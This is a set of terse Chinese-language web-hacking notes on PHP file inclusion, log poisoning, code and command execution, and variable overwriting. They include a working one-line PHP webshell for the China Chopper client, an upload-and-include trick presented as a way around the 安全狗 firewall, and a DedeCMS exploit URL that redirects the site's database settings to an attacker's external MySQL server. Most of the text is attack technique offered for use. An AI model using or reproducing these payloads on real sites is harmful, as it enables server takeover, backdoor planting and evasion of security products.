文件包含(被包含的文件类型不限制)
远程包含,本地包含
包含日志
通过构造语句让服务器报错,并将一句话随报错写入日志
然后找到日志文件用菜刀连接
Include,require函数带来的文件包含漏洞
认识文件包含:
包含文件测试成功:
结论:文件包含意味着以php脚本格式去执行包含的文件
远程包含,本地包含原因:
1.php.ini中allow_url_include设置开启则可存在远程包含
2.Php编程中包含函数的选用.
低版本安全狗后门绕过采用的文件包含漏洞
上传两个文件
1.logo.jpg 代码 <?php eval($_POST[‘pass’]);?>
2.Xx.php 代码 <?php include(“logo.jpg”)?>
代码执行
eval assert相关函数
菜刀原理分析
<?php eval($_POST[‘pass’]);?>
程序员在开发cms网站时,eval,assert等函数后存在可控变量,会导致代码执行漏洞
命令执行
exec,shell_exec,system等函数引起的漏洞
程序员在开发cms网站时,函数后存在可控变量,会导致命令执行漏洞
变量覆盖
http://www.xx.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=账号&pwd=密码& _POST[GLOBALS] [cfg_dbhost]=MYSQL外链IP&_POST[GLOBALS]
[cfg_dbuser]=MYSQL的账号&_POST[GLOBALS][cfg_dbpwd]=MYSQL的密码&
_POST[GLOBALS] [cfg_dbname]=自己的dedecms的数据库